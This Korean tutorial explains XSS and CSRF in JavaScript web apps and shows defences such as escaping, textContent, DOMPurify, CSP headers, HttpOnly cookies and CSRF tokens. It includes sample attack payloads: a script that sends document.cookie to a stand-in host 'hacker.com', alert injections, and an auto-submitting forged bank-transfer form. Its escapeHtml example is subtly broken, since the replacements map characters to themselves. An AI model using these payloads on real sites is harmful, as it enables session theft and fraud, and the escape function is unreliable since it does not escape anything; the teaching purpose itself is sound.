์ฝ˜ํ…์ธ  ๋Œ€ํ‘œ ์ด๋ฏธ์ง€ - ๐Ÿ›ก๏ธ JavaScript ๋ณด์•ˆ์˜ ๋ชจ๋“  ๊ฒƒ: XSS์™€ CSRF ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ์›น์„ ์ง€ํ‚ค๋Š” ์™„๋ฒฝ ๊ฐ€์ด๋“œ

๐Ÿ›ก๏ธ JavaScript ๋ณด์•ˆ์˜ ๋ชจ๋“  ๊ฒƒ: XSS์™€ CSRF ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ์›น์„ ์ง€ํ‚ค๋Š” ์™„๋ฒฝ ๊ฐ€์ด๋“œ

ํ•ด์ปค๋“ค์˜ ๊ณต๊ฒฉ ํŒจํ„ด์„ ์ดํ•ดํ•˜๊ณ  ์‹ค์ „ ๋ฐฉ์–ด ๊ธฐ๋ฒ•์„ ๋งˆ์Šคํ„ฐํ•˜์ž!

๐ŸŽฏ ์™œ JavaScript ๋ณด์•ˆ์ด ์ด๋ ‡๊ฒŒ ์ค‘์š”ํ• ๊นŒ?

์•ผ, ์†”์งํžˆ ๋งํ•ด์„œ ์š”์ฆ˜ ์›น ๊ฐœ๋ฐœํ•˜๋ฉด์„œ JavaScript ์•ˆ ์“ฐ๋Š” ๊ณณ์ด ์–ด๋”” ์žˆ์–ด? ๐Ÿ˜…
React, Vue, Angular๋ถ€ํ„ฐ ์‹œ์ž‘ํ•ด์„œ Node.js๊นŒ์ง€... JavaScript๋Š” ์ด์ œ ํ”„๋ก ํŠธ์—”๋“œ์™€ ๋ฐฑ์—”๋“œ๋ฅผ ๋ชจ๋‘ ์žฅ์•…ํ–ˆ์ž–์•„.
๊ทธ๋Ÿฐ๋ฐ ๋ง์ด์•ผ, ์ด๋ ‡๊ฒŒ ๊ฐ•๋ ฅํ•œ ๋„๊ตฌ๊ฐ€ ๋˜๋‹ค ๋ณด๋‹ˆ ํ•ด์ปค๋“ค๋„ JavaScript๋ฅผ ๋…ธ๋ฆฌ๋Š” ๊ฑฐ์•ผ.

2023๋…„ ๋ณด์•ˆ ๋ฆฌํฌํŠธ์— ๋”ฐ๋ฅด๋ฉด ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ณต๊ฒฉ์˜ ์•ฝ 43%๊ฐ€ XSS ๊ณต๊ฒฉ์ด๊ณ , 23%๊ฐ€ CSRF ๊ณต๊ฒฉ์ด๋ผ๊ณ  ํ•ด.
์ด๊ฒŒ ๋ฌด์Šจ ๋œป์ด๋ƒ๋ฉด, ๋„ˆ๊ฐ€ ๋งŒ๋“  ๋ฉ‹์ง„ ์›น์‚ฌ์ดํŠธ๊ฐ€ ์–ธ์ œ๋“  ๊ณต๊ฒฉ๋‹นํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฑฐ์ง€! ๐Ÿšจ

ํŠนํžˆ ์š”์ฆ˜์€ ์žฌ๋Šฅ๋„ท ๊ฐ™์€ ํ”Œ๋žซํผ์—์„œ๋„ ๊ฐœ๋ฐœ์ž๋“ค์ด ์ž์‹ ์˜ ํ”„๋กœ์ ํŠธ๋ฅผ ๊ณต์œ ํ•˜๊ณ  ํ˜‘์—…ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์€๋ฐ,
๋ณด์•ˆ ์ทจ์•ฝ์  ํ•˜๋‚˜ ๋•Œ๋ฌธ์— ์‚ฌ์šฉ์ž ์ •๋ณด๊ฐ€ ์œ ์ถœ๋˜๋ฉด ์ •๋ง ํฐ์ผ ๋‚˜๋Š” ๊ฑฐ ์•Œ์ง€?
๊ทธ๋ž˜์„œ ์˜ค๋Š˜์€ ์นœ๊ตฌ์ฒ˜๋Ÿผ ํŽธํ•˜๊ฒŒ, ํ•˜์ง€๋งŒ ์ œ๋Œ€๋กœ JavaScript ๋ณด์•ˆ์— ๋Œ€ํ•ด ํŒŒํ—ค์ณ๋ณผ ๊ฑฐ์•ผ! ๐Ÿ’ช

์›น์‚ฌ์ดํŠธ ์•ˆ์ „์ง€๋Œ€ ํ•ด์ปค ๊ณต๊ฒฉ์ž โš ๏ธ ๋ณด์•ˆ ์œ„ํ˜‘ XSS ยท CSRF ยท ์ธ์ ์…˜ ๊ณต๊ฒฉ

๐Ÿ” XSS(Cross-Site Scripting) ๊ณต๊ฒฉ: ์•…๋งˆ์˜ ์Šคํฌ๋ฆฝํŠธ ์ฃผ์ž…

๐Ÿ“Œ XSS๊ฐ€ ๋ญ”๋ฐ ์ด๋ ‡๊ฒŒ ๋ฌด์„ญ๋‹ค๋Š” ๊ฑฐ์•ผ?

XSS๋Š” ๋ง ๊ทธ๋Œ€๋กœ ์•…์˜์ ์ธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์›นํŽ˜์ด์ง€์— ์ฃผ์ž…ํ•˜๋Š” ๊ณต๊ฒฉ์ด์•ผ.
์‰ฝ๊ฒŒ ๋งํ•˜๋ฉด, ํ•ด์ปค๊ฐ€ ๋„ˆ์˜ ์›น์‚ฌ์ดํŠธ์— ์ž๊ธฐ๊ฐ€ ๋งŒ๋“  JavaScript ์ฝ”๋“œ๋ฅผ ๋ชฐ๋ž˜ ์‹ฌ์–ด๋†“๋Š” ๊ฑฐ์ง€.

์˜ˆ๋ฅผ ๋“ค์–ด๋ณผ๊ฒŒ. ๋„ˆ๊ฐ€ ๊ฒŒ์‹œํŒ์„ ๋งŒ๋“ค์—ˆ๋‹ค๊ณ  ์น˜์ž.
์‚ฌ์šฉ์ž๊ฐ€ ๋Œ“๊ธ€์„ ๋‹ฌ ์ˆ˜ ์žˆ๋Š”๋ฐ, ์ž…๋ ฅ๊ฐ’ ๊ฒ€์ฆ์„ ์•ˆ ํ–ˆ์–ด.
๊ทธ๋Ÿผ ํ•ด์ปค๊ฐ€ ์ด๋Ÿฐ ๊ฑธ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ์–ด:

<script>
  // ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค๋ฅผ ํ›”์ณ๊ฐ€๋Š” ์•…์„ฑ ์ฝ”๋“œ
  document.location='http://hacker.com/steal?cookie='+document.cookie;
</script>

์ด ์ฝ”๋“œ๊ฐ€ ๊ทธ๋Œ€๋กœ ํŽ˜์ด์ง€์— ๋ Œ๋”๋ง๋˜๋ฉด? ๐Ÿ’€
๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๊ฐ€ ๊ทธ ๊ฒŒ์‹œ๊ธ€์„ ๋ณผ ๋•Œ๋งˆ๋‹ค ์ž๋™์œผ๋กœ ์‹คํ–‰๋ผ์„œ ์ฟ ํ‚ค ์ •๋ณด๊ฐ€ ํ•ด์ปคํ•œํ…Œ ์ „์†ก๋˜๋Š” ๊ฑฐ์•ผ!
์„ธ์…˜ ํ•˜์ด์žฌํ‚น, ๊ฐœ์ธ์ •๋ณด ํƒˆ์ทจ, ํ”ผ์‹ฑ ์‚ฌ์ดํŠธ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ... ์˜จ๊ฐ– ๋‚˜์œ ์ง“์„ ๋‹ค ํ•  ์ˆ˜ ์žˆ์ง€.

๐Ÿšจ ์‹ค์ œ ํ”ผํ•ด ์‚ฌ๋ก€ 2018๋…„ ์˜๊ตญ์˜ ํ•œ ํ•ญ๊ณต์‚ฌ ์›น์‚ฌ์ดํŠธ๊ฐ€ XSS ๊ณต๊ฒฉ์„ ๋‹นํ•ด์„œ ์•ฝ 38๋งŒ ๋ช…์˜ ๊ณ ๊ฐ ๊ฒฐ์ œ ์ •๋ณด๊ฐ€ ์œ ์ถœ๋์–ด.
ํ•ด์ปค๋“ค์ด ๊ฒฐ์ œ ํŽ˜์ด์ง€์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹ฌ์–ด์„œ ์นด๋“œ ์ •๋ณด๋ฅผ ์‹ค์‹œ๊ฐ„์œผ๋กœ ๋นผ๋Œ๋ฆฐ ๊ฑฐ์ง€.
ํ”ผํ•ด์•ก๋งŒ ์ˆ˜๋ฐฑ์–ต ์›... ๐Ÿ˜ฑ

๐Ÿ“š XSS ๊ณต๊ฒฉ์˜ 3๊ฐ€์ง€ ์œ ํ˜•

1๏ธโƒฃ Stored XSS (์ €์žฅํ˜• XSS) ๊ฐ€์žฅ ์œ„ํ—˜ํ•œ ํƒ€์ž…์ด์•ผ! ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์„œ๋ฒ„ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ €์žฅ๋˜๋Š” ๊ฑฐ์•ผ.
๊ฒŒ์‹œํŒ, ๋Œ“๊ธ€, ํ”„๋กœํ•„ ์ •๋ณด ๊ฐ™์€ ๊ณณ์— ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์ž…๋ ฅํ•˜๋ฉด,
๊ทธ ํŽ˜์ด์ง€๋ฅผ ๋ณด๋Š” ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ ๊ณต๊ฒฉ๋‹นํ•˜๋Š” ๊ฑฐ์ง€.

๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค:
โ‘  ํ•ด์ปค๊ฐ€ ๊ฒŒ์‹œํŒ์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ํฌํ•จ๋œ ๊ธ€ ์ž‘์„ฑ
โ‘ก ์„œ๋ฒ„๊ฐ€ ๊ฒ€์ฆ ์—†์ด DB์— ์ €์žฅ
โ‘ข ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋“ค์ด ๊ฒŒ์‹œ๊ธ€ ์กฐํšŒ
โ‘ฃ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ โ†’ ์ฟ ํ‚ค ํƒˆ์ทจ!
2๏ธโƒฃ Reflected XSS (๋ฐ˜์‚ฌํ˜• XSS) URL ํŒŒ๋ผ๋ฏธํ„ฐ๋‚˜ ๊ฒ€์ƒ‰์–ด๋ฅผ ํ†ตํ•ด ์ฆ‰์‹œ ๋ฐ˜์‚ฌ๋˜์–ด ์‹คํ–‰๋˜๋Š” ํƒ€์ž…์ด์•ผ.
์„œ๋ฒ„์— ์ €์žฅ๋˜์ง€๋Š” ์•Š์ง€๋งŒ, ํ”ผ์‹ฑ ๋งํฌ๋กœ ์œ ๋„ํ•ด์„œ ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ์–ด.

๊ณต๊ฒฉ ์˜ˆ์‹œ:
https://example.com/search?q=<script>alert(document.cookie)</script>

์ด๋Ÿฐ ๋งํฌ๋ฅผ ์ด๋ฉ”์ผ์ด๋‚˜ SNS๋กœ ๋ณด๋‚ด์„œ ํด๋ฆญํ•˜๊ฒŒ ๋งŒ๋“œ๋Š” ๊ฑฐ์•ผ.
์‚ฌ์šฉ์ž๊ฐ€ ํด๋ฆญํ•˜๋ฉด ๊ทธ ์ˆœ๊ฐ„ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜์ง€!
3๏ธโƒฃ DOM-based XSS (DOM ๊ธฐ๋ฐ˜ XSS) ์„œ๋ฒ„๋ฅผ ๊ฑฐ์น˜์ง€ ์•Š๊ณ  ํด๋ผ์ด์–ธํŠธ ์ธก JavaScript์—์„œ ๋ฐœ์ƒํ•˜๋Š” XSS์•ผ.
์š”์ฆ˜ SPA(Single Page Application) ๋งŽ์ด ์“ฐ์ž–์•„? ๊ทธ๋ž˜์„œ ๋” ์ฃผ์˜ํ•ด์•ผ ํ•ด!

์ทจ์•ฝํ•œ ์ฝ”๋“œ ์˜ˆ์‹œ:
// ์œ„ํ—˜ํ•œ ์ฝ”๋“œ! ์ ˆ๋Œ€ ์ด๋ ‡๊ฒŒ ์“ฐ์ง€ ๋งˆ!
const userInput = location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;

// URL: https://example.com/#<img src=x onerror=alert('XSS')>
Stored XSS ์ €์žฅํ˜• DB ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ์„œ๋ฒ„์— ์ €์žฅ โš ๏ธ ์œ„ํ—˜๋„: ๋†’์Œ Reflected XSS ๋ฐ˜์‚ฌํ˜• URL URL ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ฆ‰์‹œ ๋ฐ˜์‚ฌ โš ๏ธ ์œ„ํ—˜๋„: ์ค‘๊ฐ„ DOM-based XSS DOM ๊ธฐ๋ฐ˜ JavaScript ํด๋ผ์ด์–ธํŠธ์—์„œ ์ง์ ‘ ์‹คํ–‰ โš ๏ธ ์œ„ํ—˜๋„: ์ค‘๊ฐ„

๐Ÿ›ก๏ธ XSS ๊ณต๊ฒฉ ๋ฐฉ์–ด ๊ธฐ๋ฒ•: ์‹ค์ „ ์ฝ”๋“œ๋กœ ๋ฐฐ์šฐ๊ธฐ

1๏ธโƒฃ ์ž…๋ ฅ๊ฐ’ ๊ฒ€์ฆ ๋ฐ ์ƒˆ๋‹ˆํƒ€์ด์ œ์ด์…˜(Sanitization)

์ฒซ ๋ฒˆ์งธ ๋ฐฉ์–ด์„ ์€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์ ˆ๋Œ€ ๋ฏฟ์ง€ ์•Š๋Š” ๊ฒƒ์ด์•ผ! ๐Ÿ™…โ€โ™‚๏ธ
๋ชจ๋“  ์ž…๋ ฅ๊ฐ’์„ ๊ฒ€์ฆํ•˜๊ณ  ์œ„ํ—˜ํ•œ ๋ฌธ์ž๋ฅผ ์ œ๊ฑฐํ•˜๊ฑฐ๋‚˜ ์ด์Šค์ผ€์ดํ”„ ์ฒ˜๋ฆฌํ•ด์•ผ ํ•ด.

โœ… ์•ˆ์ „ํ•œ ์ž…๋ ฅ๊ฐ’ ์ฒ˜๋ฆฌ ์˜ˆ์‹œ
// HTML ํŠน์ˆ˜๋ฌธ์ž ์ด์Šค์ผ€์ดํ”„ ํ•จ์ˆ˜
function escapeHtml(unsafe) {
  return unsafe
    .replace(/&/g, "&")
    .replace(/</g, "<")
    .replace(/>/g, ">")
    .replace(/"/g, """)
    .replace(/'/g, "'");
}

// ์‚ฌ์šฉ ์˜ˆ์‹œ
const userInput = '<script>alert("XSS")</script>';
const safeOutput = escapeHtml(userInput);
document.getElementById('output').textContent = safeOutput;

// ๊ฒฐ๊ณผ: <script>alert("XSS")</script> (๋ฌธ์ž์—ด๋กœ ํ‘œ์‹œ๋จ)

์ด๋ ‡๊ฒŒ ํ•˜๋ฉด <๋‚˜ > ๊ฐ™์€ HTML ํƒœ๊ทธ ๋ฌธ์ž๊ฐ€ ์‹ค์ œ ํƒœ๊ทธ๋กœ ํ•ด์„๋˜์ง€ ์•Š๊ณ  ๊ทธ๋ƒฅ ํ…์ŠคํŠธ๋กœ ๋ณด์ด๊ฒŒ ๋ผ!

2๏ธโƒฃ innerHTML ๋Œ€์‹  textContent ์‚ฌ์šฉํ•˜๊ธฐ

์ด๊ฑฐ ์ง„์งœ ์ค‘์š”ํ•ด! innerHTML์€ HTML์„ ํŒŒ์‹ฑํ•ด์„œ ์‹คํ–‰ํ•˜์ง€๋งŒ,
textContent๋Š” ์ˆœ์ˆ˜ ํ…์ŠคํŠธ๋กœ๋งŒ ์ฒ˜๋ฆฌํ•ด์„œ ํ›จ์”ฌ ์•ˆ์ „ํ•ด. ๐Ÿ”’

โš ๏ธ ์œ„ํ—˜ํ•œ ์ฝ”๋“œ (์ ˆ๋Œ€ ๊ธˆ์ง€!)
// ๐Ÿšซ ๋‚˜์œ ์˜ˆ์‹œ - XSS ์ทจ์•ฝ์ !
const userComment = getUserInput();
document.getElementById('comment').innerHTML = userComment;

// ํ•ด์ปค๊ฐ€ ์ด๋Ÿฐ ๊ฑธ ์ž…๋ ฅํ•˜๋ฉด?
// <img src=x onerror="alert('ํ•ดํ‚น๋‹นํ–ˆ์–ด์š”!')">
โœ… ์•ˆ์ „ํ•œ ์ฝ”๋“œ
// โœ… ์ข‹์€ ์˜ˆ์‹œ - ์•ˆ์ „!
const userComment = getUserInput();
document.getElementById('comment').textContent = userComment;

// ๋˜๋Š” ๋” ์•ˆ์ „ํ•˜๊ฒŒ
const commentElement = document.createElement('div');
commentElement.textContent = userComment;
document.getElementById('comments').appendChild(commentElement);

3๏ธโƒฃ DOMPurify ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ™œ์šฉ

๋งŒ์•ฝ ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ HTML์„ ๊ผญ ๋ Œ๋”๋งํ•ด์•ผ ํ•œ๋‹ค๋ฉด? (์˜ˆ: ์œ„์ง€์œ… ์—๋””ํ„ฐ)
๊ทธ๋Ÿด ๋• DOMPurify ๊ฐ™์€ ๊ฒ€์ฆ๋œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์จ์•ผ ํ•ด! ๐Ÿ’Ž

// DOMPurify ์„ค์น˜: npm install dompurify

import DOMPurify from 'dompurify';

// ์‚ฌ์šฉ์ž ์ž…๋ ฅ (HTML ํฌํ•จ)
const dirtyHTML = '<p>์•ˆ์ „ํ•œ ๋‚ด์šฉ</p><script>alert("XSS")</script>';

// DOMPurify๋กœ ์ •ํ™”
const cleanHTML = DOMPurify.sanitize(dirtyHTML);

// ๊ฒฐ๊ณผ: <p>์•ˆ์ „ํ•œ ๋‚ด์šฉ</p> (script ํƒœ๊ทธ๋Š” ์ œ๊ฑฐ๋จ!)
document.getElementById('content').innerHTML = cleanHTML;

DOMPurify๋Š” ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๋ฐฉ์‹์œผ๋กœ ์•ˆ์ „ํ•œ ํƒœ๊ทธ๋งŒ ํ—ˆ์šฉํ•˜๊ณ  ๋‚˜๋จธ์ง€๋Š” ๋‹ค ์ œ๊ฑฐํ•ด์ค˜.
React๋‚˜ Vue ๊ฐ™์€ ํ”„๋ ˆ์ž„์›Œํฌ์—์„œ๋„ ์™„๋ฒฝํ•˜๊ฒŒ ์ž‘๋™ํ•˜๋‹ˆ๊นŒ ๊ผญ ์จ๋ด! ๐Ÿ‘

4๏ธโƒฃ Content Security Policy (CSP) ์„ค์ •

CSP๋Š” ๋ธŒ๋ผ์šฐ์ €์—๊ฒŒ ์–ด๋–ค ๋ฆฌ์†Œ์Šค๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์•Œ๋ ค์ฃผ๋Š” ๋ณด์•ˆ ์ •์ฑ…์ด์•ผ.
HTTP ํ—ค๋”๋กœ ์„ค์ •ํ•˜๋ฉด ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์„ ๋ง‰์„ ์ˆ˜ ์žˆ์–ด!

๐Ÿ’ก CSP ํ—ค๋” ์„ค์ • ์˜ˆ์‹œ
// Express.js์—์„œ CSP ์„ค์ •
const helmet = require('helmet');

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'unsafe-inline'"], // ๊ฐ€๋Šฅํ•˜๋ฉด unsafe-inline ์ œ๊ฑฐ!
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'"],
      fontSrc: ["'self'"],
      objectSrc: ["'none'"],
      mediaSrc: ["'self'"],
      frameSrc: ["'none'"],
    },
  })
);

// ๋˜๋Š” HTML meta ํƒœ๊ทธ๋กœ ์„ค์ •
// <meta http-equiv="Content-Security-Policy" 
//       content="default-src 'self'; script-src 'self'">

์ด๋ ‡๊ฒŒ ์„ค์ •ํ•˜๋ฉด ์™ธ๋ถ€ ๋„๋ฉ”์ธ์—์„œ ๋กœ๋“œ๋œ ์Šคํฌ๋ฆฝํŠธ๋Š” ์‹คํ–‰์ด ์ฐจ๋‹จ๋ผ!
XSS ๊ณต๊ฒฉ์ด ์„ฑ๊ณตํ•˜๋”๋ผ๋„ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š๋Š” ๊ฑฐ์ง€. ๐ŸŽฏ

5๏ธโƒฃ HttpOnly ๋ฐ Secure ์ฟ ํ‚ค ํ”Œ๋ž˜๊ทธ ์‚ฌ์šฉ

์ฟ ํ‚ค ํƒˆ์ทจ๋ฅผ ๋ง‰์œผ๋ ค๋ฉด ์ฟ ํ‚ค ์„ค์ •๋„ ์ค‘์š”ํ•ด!

// Node.js Express์—์„œ ์•ˆ์ „ํ•œ ์ฟ ํ‚ค ์„ค์ •
res.cookie('sessionId', sessionToken, {
  httpOnly: true,    // JavaScript๋กœ ์ ‘๊ทผ ๋ถˆ๊ฐ€
  secure: true,      // HTTPS์—์„œ๋งŒ ์ „์†ก
  sameSite: 'strict', // CSRF ๋ฐฉ์–ด
  maxAge: 3600000    // 1์‹œ๊ฐ„
});

// ์ด๋ ‡๊ฒŒ ์„ค์ •ํ•˜๋ฉด document.cookie๋กœ ์ ‘๊ทผ ๋ถˆ๊ฐ€!
// XSS ๊ณต๊ฒฉ์œผ๋กœ๋„ ์ฟ ํ‚ค๋ฅผ ํ›”์น  ์ˆ˜ ์—†์–ด
๐ŸŽ“ ์žฌ๋Šฅ๋„ท ๊ฐœ๋ฐœ์ž ํŒ ์žฌ๋Šฅ๋„ท์—์„œ ์›น ๊ฐœ๋ฐœ ํ”„๋กœ์ ํŠธ๋ฅผ ์ง„ํ–‰ํ•  ๋•Œ๋„ ์ด๋Ÿฐ ๋ณด์•ˆ ์„ค์ •์€ ํ•„์ˆ˜์•ผ!
ํด๋ผ์ด์–ธํŠธํ•œํ…Œ "๋ณด์•ˆ ๊ฐ•ํ™” ์ž‘์—… ์™„๋ฃŒํ–ˆ์Šต๋‹ˆ๋‹ค"๋ผ๊ณ  ๋งํ•  ์ˆ˜ ์žˆ๋Š” ๊ทผ๊ฑฐ๊ฐ€ ๋˜๊ฑฐ๋“ .
ํฌํŠธํด๋ฆฌ์˜ค์—๋„ "XSS/CSRF ๋ฐฉ์–ด ๊ตฌํ˜„" ์ด๋ ‡๊ฒŒ ์ ์œผ๋ฉด ์ „๋ฌธ์„ฑ์ด ํ™• ์˜ฌ๋ผ๊ฐ€! ๐Ÿ“ˆ

โš”๏ธ CSRF(Cross-Site Request Forgery) ๊ณต๊ฒฉ: ์œ„์กฐ๋œ ์š”์ฒญ์˜ ํ•จ์ •

๐Ÿ“Œ CSRF๊ฐ€ ๋ญ๊ธธ๋ž˜ ์ด๋ ‡๊ฒŒ ์œ„ํ—˜ํ•ด?

CSRF๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์˜๋„ํ•˜์ง€ ์•Š์€ ์š”์ฒญ์„ ๊ฐ•์ œ๋กœ ์‹คํ–‰์‹œํ‚ค๋Š” ๊ณต๊ฒฉ์ด์•ผ.
์‰ฝ๊ฒŒ ๋งํ•˜๋ฉด, ๋„ˆ๊ฐ€ ๋กœ๊ทธ์ธํ•œ ์ƒํƒœ์—์„œ ํ•ด์ปค๊ฐ€ ๋งŒ๋“  ํ•จ์ •์— ๊ฑธ๋ ค์„œ
์ž๊ธฐ๋„ ๋ชจ๋ฅด๊ฒŒ ๋ˆ์„ ์†ก๊ธˆํ•˜๊ฑฐ๋‚˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ฐ”๊พธ๋Š” ๊ฑฐ์ง€! ๐Ÿ˜ฑ

XSS๋Š” ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ฃผ์ž…ํ•˜๋Š” ๊ฑฐ๋ผ๋ฉด,
CSRF๋Š” ์ •์ƒ์ ์ธ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์„ ๋„์šฉํ•ด์„œ ๋‚˜์œ ์ง“์„ ํ•˜๋Š” ๊ฑฐ์•ผ.

๐ŸŽญ CSRF ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค

๐Ÿšจ ์‹ค์ œ ๊ณต๊ฒฉ ๊ณผ์ • 1๋‹จ๊ณ„: ์‚ฌ์šฉ์ž๊ฐ€ ์€ํ–‰ ์‚ฌ์ดํŠธ์— ๋กœ๊ทธ์ธ
โ†’ ์„ธ์…˜ ์ฟ ํ‚ค๊ฐ€ ๋ธŒ๋ผ์šฐ์ €์— ์ €์žฅ๋จ

2๋‹จ๊ณ„: ํ•ด์ปค๊ฐ€ ๋งŒ๋“  ํ”ผ์‹ฑ ์‚ฌ์ดํŠธ ๋ฐฉ๋ฌธ
โ†’ ์ด๋ฉ”์ผ์ด๋‚˜ SNS ๋งํฌ๋ฅผ ํ†ตํ•ด ์œ ๋„

3๋‹จ๊ณ„: ํ”ผ์‹ฑ ์‚ฌ์ดํŠธ์— ์ˆจ๊ฒจ์ง„ ์•…์„ฑ ํผ
<!-- ํ•ด์ปค๊ฐ€ ๋งŒ๋“  ์•…์„ฑ HTML -->
<form action="https://bank.com/transfer" method="POST" id="evilForm">
  <input type="hidden" name="to" value="ํ•ด์ปค๊ณ„์ขŒ๋ฒˆํ˜ธ">
  <input type="hidden" name="amount" value="1000000">
</form>

<script>
  // ํŽ˜์ด์ง€ ๋กœ๋“œ๋˜์ž๋งˆ์ž ์ž๋™ ์ œ์ถœ!
  document.getElementById('evilForm').submit();
</script>

4๋‹จ๊ณ„: ์ž๋™์œผ๋กœ ์†ก๊ธˆ ์š”์ฒญ ์ „์†ก
โ†’ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ž๋™์œผ๋กœ ์„ธ์…˜ ์ฟ ํ‚ค๋ฅผ ํฌํ•จํ•ด์„œ ์š”์ฒญ์„ ๋ณด๋ƒ„
โ†’ ์€ํ–‰ ์„œ๋ฒ„๋Š” ์ •์ƒ์ ์ธ ์š”์ฒญ์œผ๋กœ ์ธ์‹ํ•˜๊ณ  ์†ก๊ธˆ ์ฒ˜๋ฆฌ! ๐Ÿ’ธ

์ด๊ฒŒ ๋ฐ”๋กœ CSRF์˜ ๋ฌด์„œ์šด ์ ์ด์•ผ.
์‚ฌ์šฉ์ž๋Š” ์•„๋ฌด๊ฒƒ๋„ ์•ˆ ํ–ˆ๋Š”๋ฐ ๋ˆ์ด ๋น ์ ธ๋‚˜๊ฐ€๋Š” ๊ฑฐ์ง€!

์ •์ƒ ์‚ฌ์šฉ์ž ๐Ÿ‘ค ์€ํ–‰ ์„œ๋ฒ„ ์ธ์ฆ๋œ ์„ธ์…˜ ํ•ด์ปค ์‚ฌ์ดํŠธ ๐Ÿ’€ ๋กœ๊ทธ์ธ ํ”ผ์‹ฑ ๋งํฌ ํด๋ฆญ ์œ„์กฐ๋œ ์š”์ฒญ โš ๏ธ CSRF ๊ณต๊ฒฉ ์„ฑ๊ณต! ์‚ฌ์šฉ์ž ๋ชจ๋ฅด๊ฒŒ ์†ก๊ธˆ ์š”์ฒญ์ด ์‹คํ–‰๋จ ์„œ๋ฒ„๋Š” ์ •์ƒ์ ์ธ ์„ธ์…˜ ์ฟ ํ‚ค๋ฅผ ํ™•์ธํ•˜๊ณ  ์š”์ฒญ์„ ์Šน์ธ ์ฒ˜๋ฆฌ

๐Ÿ›ก๏ธ CSRF ๊ณต๊ฒฉ ๋ฐฉ์–ด ๊ธฐ๋ฒ•

1๏ธโƒฃ CSRF ํ† ํฐ ์‚ฌ์šฉ (๊ฐ€์žฅ ํšจ๊ณผ์ !)

CSRF ํ† ํฐ์€ ๊ฐ ์š”์ฒญ๋งˆ๋‹ค ๊ณ ์œ ํ•œ ๋žœ๋ค ๊ฐ’์„ ์ƒ์„ฑํ•ด์„œ
์„œ๋ฒ„๊ฐ€ ์ •๋‹นํ•œ ์š”์ฒญ์ธ์ง€ ๊ฒ€์ฆํ•˜๋Š” ๋ฐฉ๋ฒ•์ด์•ผ. ๐ŸŽซ

โœ… CSRF ํ† ํฐ ๊ตฌํ˜„ ์˜ˆ์‹œ (Express.js)
// 1. CSRF ํ† ํฐ ๋ฏธ๋“ค์›จ์–ด ์„ค์น˜
// npm install csurf

const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

// 2. ํผ ๋ Œ๋”๋ง ์‹œ ํ† ํฐ ์ƒ์„ฑ
app.get('/transfer', csrfProtection, (req, res) => {
  res.render('transfer', { 
    csrfToken: req.csrfToken() 
  });
});

// 3. HTML ํผ์— ํ† ํฐ ํฌํ•จ
// <form action="/transfer" method="POST">
//   <input type="hidden" name="_csrf" value="{{csrfToken}}">
//   <input type="text" name="to" placeholder="๋ฐ›๋Š” ์‚ฌ๋žŒ">
//   <input type="number" name="amount" placeholder="๊ธˆ์•ก">
//   <button type="submit">์†ก๊ธˆํ•˜๊ธฐ</button>
// </form>

// 4. POST ์š”์ฒญ ์ฒ˜๋ฆฌ ์‹œ ํ† ํฐ ๊ฒ€์ฆ
app.post('/transfer', csrfProtection, (req, res) => {
  // ํ† ํฐ์ด ์œ ํšจํ•˜๋ฉด ์ด ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋จ
  // ํ† ํฐ์ด ์—†๊ฑฐ๋‚˜ ์ž˜๋ชป๋˜๋ฉด ์ž๋™์œผ๋กœ 403 ์—๋Ÿฌ ๋ฐœ์ƒ!
  
  const { to, amount } = req.body;
  // ์†ก๊ธˆ ์ฒ˜๋ฆฌ...
  res.send('์†ก๊ธˆ ์™„๋ฃŒ!');
});

